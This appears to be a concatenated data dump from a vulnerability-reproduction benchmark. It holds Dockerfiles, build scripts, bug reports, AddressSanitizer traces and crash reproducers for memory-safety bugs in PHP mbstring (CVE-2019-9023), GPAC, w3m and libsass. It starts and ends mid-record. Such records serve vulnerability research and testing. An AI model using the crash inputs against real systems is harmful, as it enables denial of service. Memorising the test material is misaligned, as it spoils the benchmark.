/home/hugh/php-7.0.33/ext/mbstring/oniguruma/enc/unicode.c:11026:15 #1 0x896600 in mbc_case_fold /home/hugh/php-7.0.33/ext/mbstring/oniguruma/enc/utf8.c:219:12 #2 0x80bbfb in update_string_node_case_fold /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:3208:11 #3 0x80bbfb in expand_case_fold_make_rem_string /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:3242 #4 0x7ea7d9 in expand_case_fold_string /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:3465:9 #5 0x7ea7d9 in setup_tree /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:3688 #6 0x7e99c7 in setup_tree /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:3811:8 #7 0x7ddcc8 in onig_compile /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5337:7 #8 0x806389 in onig_new /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5547:7 #9 0x97e487 in php_mbregex_compile_pattern /home/hugh/php-7.0.33/ext/mbstring/php_mbregex.c:456:19 #10 0x978bce in _php_mb_regex_ereg_exec /home/hugh/php-7.0.33/ext/mbstring/php_mbregex.c:727:7 #11 0x1257a45 in ZEND_DO_ICALL_SPEC_HANDLER /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:586:2 #12 0x10d966d in execute_ex /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:417:7 #13 0x10da547 in zend_execute /home/hugh/php-7.0.33/Zend/zend_vm_execute.h:458:2 #14 0xeeec74 in zend_eval_stringl /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1137:4 #15 0xeef77a in zend_eval_stringl_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1178:11 #16 0xeef77a in zend_eval_string_ex /home/hugh/php-7.0.33/Zend/zend_execute_API.c:1189 #17 0x13181f6 in do_cli /home/hugh/php-7.0.33/sapi/cli/php_cli.c:1010:21 #18 0x13150e5 in main /home/hugh/php-7.0.33/sapi/cli/php_cli.c:1350:18 #19 0x7fb7612c5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #20 0x4383f9 in _start (/home/hugh/php-7.0.33/sapi/cli/php+0x4383f9) 0x606000003ad8 is located 0 bytes to the right of 56-byte region [0x606000003aa0,0x606000003ad8) allocated by thread T0 here: #0 0x4eda50 in malloc (/home/hugh/php-7.0.33/sapi/cli/php+0x4eda50) #1 0x856f6f in node_new /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:1129:18 #2 0x856f6f in node_new_str /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:1507 #3 0x856f6f in onig_node_new_str /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regparse.c:1525 #4 0x7e94b3 in setup_tree /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:3679:11 #5 0x7e6d56 in setup_tree /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:3668:6 #6 0x7ddcc8 in onig_compile /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5337:7 #7 0x806389 in onig_new /home/hugh/php-7.0.33/ext/mbstring/oniguruma/regcomp.c:5547:7 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hugh/php-7.0.33/ext/mbstring/oniguruma/enc/unicode.c:11026:15 in onigenc_unicode_mbc_case_fold Shadow bytes around the buggy address: 0x0c0c7fff8700: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff8710: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fff8720: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8730: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff8740: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa =>0x0c0c7fff8750: fa fa fa fa 00 00 00 00 00 00 00[fa]fa fa fa fa 0x0c0c7fff8760: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff8770: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fff8780: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8790: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff87a0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==13642==ABORTING Comments: [Comment 1] [2019-01-02 08:44 UTC] stas@php.net I've made a common fix for four mbstring regex issues. It's in security repo as 6eb73547f231336d09e42d161ea6756b88832d46 and in https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5. Please verify. Links: https://gist.github.com/smalyshev/d5b79a07341ffdd77dc88860724bd2f5 [Comment 2] [2019-01-02 21:10 UTC] hugh at allthethings dot co dot nz Verified on 5.6, 7.0 and 7.1 [Comment 3] [2019-01-07 08:18 UTC] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. Links: http://snaps.php.net/, http://windows.php.net/snapshots/ Commit References: 6eb73547f231336d09e42d161ea6756b88832d46 ================= Bug Report (7/7) ================== ## Source: PHP Bugs ## URL: https://bugs.php.net/bug.php?id=77418 ## Description: PHP Bug ID: 77418 Summary: Heap overflow in utf32be_mbc_to_code Status: Closed PHP Version: 5.6.39 Assigned: stas (profile) CVE-ID: 2019-9023 Description: Description: ------------ The function utf32be_mbc_to_code assumes a buffer that contains 4 more characters in it (for a valid UTF-32 character). However, when a unterminated multibyte is passed to the regex match then the buffer will overflow. Reproduced on 5.6.39, 7.0.33, 7.1.25, 7.2.13, 7.3.0 and master. Patch available at https://gist.github.com/hughdavenport/3db8c2b9f92765c84196b387c32faaea Test script: --------------- php -r 'mb_regex_encoding("UTF-32");var_dump(mb_split("\x00\x00\x00\x5c\x00\x00\x00B","000000000000000000000000000000"));' Expected result: ---------------- no crash Actual result: -------------- $ ../src/php-src/sapi/cli/php -r 'mb_regex_encoding("UTF-32");var_dump(mb_split("\x00\x00\x00\x5c\x00\x00\x00B","000000000000000000000000000000"));' ================================================================= ==27697==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000061d8 at pc 0x000000a0980f bp 0x7fffae9f0f60 sp 0x7fffae9f0f58 READ of size 1 at 0x6060000061d8 thread T0 #0 0xa0980e in utf32be_mbc_to_code /home/hugh/src/php-src/ext/mbstring/oniguruma/src/utf32_be.c:70:70 #1 0x993369 in match_at /home/hugh/src/php-src/ext/mbstring/oniguruma/src/regexec.c:3067:15 #2 0x99ea2d in onig_search_with_param /home/hugh/src/php-src/ext/mbstring/oniguruma/src/regexec.c:4855:7 #3 0x99c8e6 in onig_search /home/hugh/src/php-src/ext/mbstring/oniguruma/src/regexec.c:4614:7 #4 0xae1a3c in zif_mb_split /home/hugh/src/php-src/ext/mbstring/php_mbregex.c:1265:9 #5 0x1480525 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/hugh/src/php-src/Zend/zend_vm_execute.h:694:2 #6 0x1270cfd in execute_ex /home/hugh/src/php-src/Zend/zend_vm_execute.h:55012:7 #7 0x12716d6 in zend_execute /home/hugh/src/php-src/Zend/zend_vm_execute.h:60595:2 #8 0x1083690 in zend_eval_stringl /home/hugh/src/php-src/Zend/zend_execute_API.c:1063:4 #9 0x1083f1a in zend_eval_stringl_ex /home/hugh/src/php-src/Zend/zend_execute_API.c:1104:11 #10 0x1083f1a in zend_eval_string_ex /home/hugh/src/php-src/Zend/zend_execute_API.c:1115 #11 0x15b2127 in do_cli /home/hugh/src/php-src/sapi/cli/php_cli.c:1023:8 #12 0x15aef3e in main /home/hugh/src/php-src/sapi/cli/php_cli.c:1384:18 #13 0x7f79623c4b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #14 0x43bfe9 in _start (/home/hugh/src/php-src/sapi/cli/php+0x43bfe9) 0x6060000061d8 is located 0 bytes to the right of 56-byte region [0x6060000061a0,0x6060000061d8) allocated by thread T0 here: #0 0x4f1640 in malloc (/home/hugh/src/php-src/sapi/cli/php+0x4f1640) #1 0xfd4a7c in __zend_malloc /home/hugh/src/php-src/Zend/zend_alloc.c:2930:14 #2 0xfdec4c in zval_make_interned_string /home/hugh/src/php-src/Zend/zend_compile.c:478:16 #3 0xfdec4c in zend_insert_literal /home/hugh/src/php-src/Zend/zend_compile.c:490 #4 0xfdec4c in zend_add_literal /home/hugh/src/php-src/Zend/zend_compile.c:511 #5 0xfdec4c in zend_emit_op /home/hugh/src/php-src/Zend/zend_compile.c:1988 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hugh/src/php-src/ext/mbstring/oniguruma/src/utf32_be.c:70:70 in utf32be_mbc_to_code Shadow bytes around the buggy address: 0x0c0c7fff8be0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fff8bf0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c0c7fff8c00: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fff8c10: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd 0x0c0c7fff8c20: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa =>0x0c0c7fff8c30: fa fa fa fa 00 00 00 00 00 00 00[fa]fa fa fa fa 0x0c0c7fff8c40: fd fd fd fd fd fd fd fa fa fa fa fa 00 00 00 00 0x0c0c7fff8c50: 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==27697==ABORTING Comments: [Comment 1] [2019-01-07 01:37 UTC] stas@php.net OnigCodePoint is unsigned long, so converting NULL to it is not right. But I think we could probably just return 0 there. [Comment 2] [2019-01-07 01:42 UTC] hugh at allthethings dot co dot nz Yeh wasn't too sure on that as wasn't clear what a good error code would be. I've got a crash on UTF16 as well, I'll do a patch with 0 instead of NULL for that one. [Comment 3] [2019-01-07 01:44 UTC] stas@php.net this should fix it: https://gist.github.com/smalyshev/2b4a3c7d838e81f45f813090fe4db5ad I'll add tests a bit later for the full patch Links: https://gist.github.com/smalyshev/2b4a3c7d838e81f45f813090fe4db5ad [Comment 4] [2019-01-07 01:56 UTC] stas@php.net Related To: Bug #77419 Links: https://bugs.php.net/bug.php?id=77419
[]
[ { "sha": "0839641503bc381d64347081b4308dd7335a26b5", "url": "https://github.com/php/php-src/commit/0839641503bc381d64347081b4308dd7335a26b5" }, { "sha": "d949cca738a67419c7d73f032ffe81ca6b77d803", "url": "https://github.com/php/php-src/commit/d949cca738a67419c7d73f032ffe81ca6b77d803" }, { "sha": "6eb73547f231336d09e42d161ea6756b88832d46", "url": "https://github.com/php/php-src/commit/6eb73547f231336d09e42d161ea6756b88832d46" } ]
gpac.cve-2023-0819
gpac/gpac
1b77837ca27a80c695363416077bcab1aa72dc0a
2023-02-13T08:41:01
gpac
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev RUN git clone https://github.com/gpac/gpac gpac RUN git -C gpac checkout 1b77837ca27a80c695363416077bcab1aa72dc0a WORKDIR $SRC/gpac COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}" make -j$(nproc)
/src/gpac
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/35793610-dccc-46c8-9f55-6a24c621e4ef ## Description: Version ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev40-g3602a5ded-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --enable-sanitizer --verbose Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D Reproduce ./configure --enable-sanitizer --enable-debug make ./MP4Box -info gf_m2ts_process_tdt_tot Git log commit 3602a5ded4e57b0044a949f985ee3792f94a9a36 (HEAD -> master, origin/master, origin/HEAD) Author: Aurelien David <aurelien.david@telecom-paristech.fr> Date: Thu Feb 9 11:24:23 2023 +0100 mp3dmx: check truncated frames (#2391) commit ea7395f39f601a7750d48d606e9d10ea0b7beefe Author: Aurelien David <aurelien.david@telecom-paristech.fr> Date: Wed Feb 8 16:52:00 2023 +0100 sgpd box entry: disallow null grouping_type (#2389) Proof of Concept ./MP4Box -info gf_m2ts_process_tdt_tot ================================================================= ==24800==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001b51 at pc 0x7fa11638a599 bp 0x7fff33c01ff0 sp 0x7fff33c01fe0 READ of size 1 at 0x602000001b51 thread T0 #0 0x7fa11638a598 in gf_m2ts_process_tdt_tot media_tools/mpegts.c:952 #1 0x7fa11638a598 in gf_m2ts_process_tdt_tot media_tools/mpegts.c:905 #2 0x7fa11638b936 in gf_m2ts_section_complete media_tools/mpegts.c:623 #3 0x7fa11638d619 in gf_m2ts_gather_section media_tools/mpegts.c:760 #4 0x7fa116395c12 in gf_m2ts_process_packet media_tools/mpegts.c:2591 #5 0x7fa1163982b9 in gf_m2ts_process_data media_tools/mpegts.c:2817 #6 0x7fa1163a25c5 in gf_m2ts_probe_buffer media_tools/mpegts.c:3201 #7 0x7fa116aa5fa4 in m2tsdmx_probe_data filters/dmx_m2ts.c:1438 #8 0x7fa11696b778 in gf_filter_pid_raw_new filter_core/filter.c:4210 #9 0x7fa116b3a2db in filein_process filters/in_file.c:492 #10 0x7fa1169730ed in gf_filter_process_task filter_core/filter.c:2828 #11 0x7fa116935082 in gf_fs_thread_proc filter_core/filter_session.c:1859 #12 0x7fa116941856 in gf_fs_run filter_core/filter_session.c:2120 #13 0x7fa11637f806 in gf_media_import media_tools/media_import.c:1228 #14 0x562a5a4743b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130 #15 0x562a5a443db5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302 #16 0x7fa113617082 in __libc_start_main ../csu/libc-start.c:308 #17 0x562a5a417cfd in _start (/home/qianshuidewajueji/gpac/bin/gcc/MP4Box+0xa3cfd) 0x602000001b51 is located 0 bytes to the right of 1-byte region [0x602000001b50,0x602000001b51) allocated by thread T0 here: #0 0x7fa1194ae808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 #1 0x7fa11638b5e9 in gf_m2ts_section_complete media_tools/mpegts.c:566 #2 0x7fa11638d619 in gf_m2ts_gather_section media_tools/mpegts.c:760 #3 0x7fa116395c12 in gf_m2ts_process_packet media_tools/mpegts.c:2591 #4 0x7fa1163982b9 in gf_m2ts_process_data media_tools/mpegts.c:2817 #5 0x7fa1163a25c5 in gf_m2ts_probe_buffer media_tools/mpegts.c:3201 #6 0x7fa116aa5fa4 in m2tsdmx_probe_data filters/dmx_m2ts.c:1438 #7 0x7fa11696b778 in gf_filter_pid_raw_new filter_core/filter.c:4210 #8 0x7fa116b3a2db in filein_process filters/in_file.c:492 #9 0x7fa1169730ed in gf_filter_process_task filter_core/filter.c:2828 #10 0x7fa116935082 in gf_fs_thread_proc filter_core/filter_session.c:1859 #11 0x7fa116941856 in gf_fs_run filter_core/filter_session.c:2120 #12 0x7fa11637f806 in gf_media_import media_tools/media_import.c:1228 #13 0x562a5a4743b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130 #14 0x562a5a443db5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302 #15 0x7fa113617082 in __libc_start_main ../csu/libc-start.c:308 SUMMARY: AddressSanitizer: heap-buffer-overflow media_tools/mpegts.c:952 in gf_m2ts_process_tdt_tot Shadow bytes around the buggy address: 0x0c047fff8310: fa fa 00 00 fa fa 04 fa fa fa 04 fa fa fa 04 fa 0x0c047fff8320: fa fa 06 fa fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8330: fa fa 00 00 fa fa 00 00 fa fa fd fa fa fa 00 00 0x0c047fff8340: fa fa 00 00 fa fa 04 fa fa fa 04 fa fa fa 04 fa 0x0c047fff8350: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 03 fa =>0x0c047fff8360: fa fa 00 00 fa fa 00 00 fa fa[01]fa fa fa 00 fa 0x0c047fff8370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==24800==ABORTING Impact This is capable of causing crashes by using unexpected value, or possible code execution. Relevant Links: https://github.com/gpac/gpac https://github.com/qianshuidewajueji/poc/blob/main/gpac/gf_m2ts_process_tdt_tot
[]
[ { "sha": "6a24c621e4ef", "url": null }, { "sha": "d067ab3ccdeaa340e8c045a0fd5bcfc22b809e8f", "url": "https://github.com/gpac/gpac/commit/d067ab3ccdeaa340e8c045a0fd5bcfc22b809e8f" }, { "sha": "3602a5ded4e57b0044a949f985ee3792f94a9a36", "url": "https://github.com/gpac/gpac/commit/3602a5ded4e57b0044a949f985ee3792f94a9a36" }, { "sha": "ea7395f39f601a7750d48d606e9d10ea0b7beefe", "url": "https://github.com/gpac/gpac/commit/ea7395f39f601a7750d48d606e9d10ea0b7beefe" } ]
w3m.cve-2023-38253
tats/w3m
c8223fed7cc631ad85d8e5665e509e7988bedbab
2023-01-20T20:01:52
w3m
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y libgc-dev RUN git clone https://github.com/tats/w3m w3m RUN git -C w3m checkout c8223fed7cc631ad85d8e5665e509e7988bedbab WORKDIR $SRC/w3m COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure make myctype.o -j$(nproc) make Str.o -j$(nproc) make libwc -j$(nproc)
/src/w3m
address
================= Bug Report (1/2) ================== ## Source: GitHub Issue ## URL: https://github.com/tats/w3m/issues/271 ## Description: Issue: tats/w3m#271 Title: [BUG] Out-of-bound read in growbuf_to_Str , indep.c:441 State: closed Created by: iskindar Created at: 2023-06-29 12:32:55+00:00 Issue Body: Hello, I found a out-of-bound read in w3m, function growbuf_to_Str , indep.c:61 while testing my new fuzzer. ## Steps to reproduce ``` docker pull ubuntu:20.04 && docker run -it ubuntu:20.04 bash ## now step into the container apt update && apt install wget git unzip gcc g++ make libgc-dev libtinfo-dev -y git clone https://github.com/tats/w3m && pushd w3m export CC="gcc -fsanitize=address -g" && ./configure && make -j wget https://github.com/tats/w3m/files/11905598/poc2.zip && unzip poc2.zip ./w3m -dump ./poc2 ``` ## Platform - OS: ubuntu 20.04 (not reproducible on Debian 11) ``` $ cat /etc/issue Ubuntu 20.04.6 LTS \n \l ``` - w3m latest commit https://github.com/tats/w3m/commit/93ad5ee7da3bb3b6848434f0940321f345b7369c ``` $ ./w3m -version w3m version w3m/0.5.3+git20230129, options lang=en,m17n,image,color,ansi-color,mouse,menu,cookie,external-uri-loader,w3mmailer,nntp,gopher,ipv6,alarm,mark ``` ## ASAN ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==6186==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f1f28b1e6c3 bp 0x7f1f28b39350 sp 0x7ffc233d2460 T0) ==6186==The signal is caused by a READ memory access. ==6186==Hint: address points to the zero page. #0 0x7f1f28b1e6c2 in GC_generic_malloc_inner (/lib/x86_64-linux-gnu/libgc.so.1+0x156c2) #1 0x7f1f28b1fc08 in GC_generic_malloc_many (/lib/x86_64-linux-gnu/libgc.so.1+0x16c08) #2 0x7f1f28b2b81c in GC_malloc_kind (/lib/x86_64-linux-gnu/libgc.so.1+0x2281c) #3 0x560b5fb95165 in growbuf_to_Str /w3m/indep.c:794 #4 0x560b5fb8c911 in StrISgets2 /w3m/istream.c:238 #5 0x560b5fac5a5c in loadBuffer /w3m/file.c:7693 #6 0x560b5faeac5b in loadSomething /w3m/file.c:232 #7 0x560b5faeac5b in loadGeneralFile /w3m/file.c:2288 #8 0x560b5fa88807 in main /w3m/main.c:1061 #9 0x7f1f2890b082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #10 0x560b5fa8c56d in _start (/w3m/w3m+0xb256d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libgc.so.1+0x156c2) in GC_generic_malloc_inner ==6186==ABORTING ``` ## POC [poc2.zip](https://github.com/tats/w3m/files/11905598/poc2.zip) Comments: Comment by iskindar on 2023-07-06 11:47:36+00:00: Affected version : - 0.5.3+git20230129 - 0.5.3+git20230121-1 - 0.5.3+git20230121-2 Not Affected version: < 0.5.3+git20220429-1 --- Comment by pedrohc on 2023-07-13 16:31:53+00:00: Assigned CVE-2023-38253 for this issue. If you wish to dispute please open a ticket here: https://access.redhat.com/security/team/contact --- Comment by tats on 2023-07-18 12:15:39+00:00: Prevented with https://github.com/tats/w3m/pull/273 Attachments: https://github.com/tats/w3m/files/11905598/poc2.zip Commit References: 93ad5ee7da3bb3b6848434f0940321f345b7369c ================= Bug Report (2/2) ================== ## Source: Red Hat Bugzilla ## URL: https://bugzilla.redhat.com/show_bug.cgi?id=2222779 ## Description: Bugzilla ID: 2222779 Title: CVE-2023-38253 w3m: Out of bounds read in growbuf_to_Str() at w3m/indep.c Description Pedro Sampaio 2023-07-13 16:53:14 UTC w3m 0.5.3+git20230129 has an out-of-bounds read in function growbuf_to_Str in indep.c. This allows attackers to cause a denial of service via a crafted HTML file. Upstream issue: https://github.com/tats/w3m/issues/271 Comments: Comment 1 Pedro Sampaio 2023-07-13 16:53:31 UTC Created w3m tracking bugs for this issue: Affects: epel-all [bug 2222781] Affects: fedora-all [bug 2222780] --- Comment 2 Product Security DevOps Team 2023-07-13 21:42:58 UTC This bug is now closed. Further updates for individual products will be reflected on the CVE page(s): https://access.redhat.com/security/cve/cve-2023-38253
[]
[ { "sha": "93ad5ee7da3bb3b6848434f0940321f345b7369c", "url": "https://github.com/tats/w3m/commit/93ad5ee7da3bb3b6848434f0940321f345b7369c" }, { "sha": "edc602651c506aeeb60544b55534dd1722a340d3", "url": "https://github.com/tats/w3m/commit/edc602651c506aeeb60544b55534dd1722a340d3" } ]
libsass.cve-2017-12964
sass/libsass
31573210c0d120ae56aaea543a0dbab5255cdfb7
2017-05-22T14:06:38
libsass
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/sass/libsass libsass RUN git -C libsass checkout 31573210c0d120ae56aaea543a0dbab5255cdfb7 WORKDIR $SRC/libsass COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu export BUILD='static' make -j$(nproc)
/src/libsass
address
================= Bug Report (1/1) ================== ## Source: Red Hat Bugzilla ## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1482397 ## Description: Bugzilla ID: 1482397 Title: There is a stack-overflow in the sassc of libsass library. This vulnerability is triggered in function Sass::Eval::operator() . Description owl337 2017-08-17 07:48:34 UTC Created attachment 1314586 [details] Triggered by "./sassc POC9" Description of problem: There is a stack-overflow in the sassc of libsass library. This vulnerability is triggered in function Sass::Eval::operator() . Version-Release number of selected component (if applicable): <= latest version How reproducible: ./sassc $POC Steps to Reproduce: The debugging information is as follows: $ ./sassc POC9 Segmentation fault ASAN debugging information: $ ./sassc POC9 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/icy/libsass-check/sassc-asan/install/bin/sassc id:000070,sig:11,src:009686,op:havoc,rep:4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, Sass::Eval::operator() (this=<optimized out>, b_in=<optimized out>) at eval.cpp:542 542 Expression_Obj lhs = b_in->left(); (gdb) c 1194 Will ignore next 1193 crossings of breakpoint 1. Continuing. Breakpoint 1, Sass::Eval::operator() (this=<optimized out>, b_in=<optimized out>) at eval.cpp:542 542 Expression_Obj lhs = b_in->left(); (gdb) i b Num Type Disp Enb Address What 1 breakpoint keep y 0x00007ffff7819369 in Sass::Eval::operator()(Sass::Binary_Expression*) at eval.cpp:540 breakpoint already hit 1195 times ... (gdb) 567 Binary_Expression_Obj b = b_in; (gdb) Single stepping until exit from function Sass::Eval::operator()(Sass::Binary_Expression*), which has no line number information. Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7818ffb in Sass::Eval::operator() (this=0x7fffffffd880, b_in=<optimized out>) at eval.cpp:540 540 { (gdb) 0x00000000004bfbd0 in __asan::AsanOnSIGSEGV(int, void*, void*) () (gdb) Single stepping until exit from function _ZN6__asan13AsanOnSIGSEGVEiPvS0_, which has no line number information. ASAN:SIGSEGV ================================================================= ==6364==ERROR: AddressSanitizer: stack-overflow on address 0x7fffff7fe930 (pc 0x7ffff7818ffb bp 0x7fffff800310 sp 0x7fffff7fe7c0 T0) #0 0x7ffff7818ffa (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x545ffa) #1 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #2 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #3 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #4 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #5 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #6 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #7 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #8 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #9 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #10 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #11 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #12 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #13 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #14 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #15 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #16 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #17 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #18 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #19 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #20 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #21 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #22 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #23 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #24 0x7ffff781a67f (/home/icy/libsass-check/libsass-asan/install/lib/libsass.so.1+0x54767f) #25 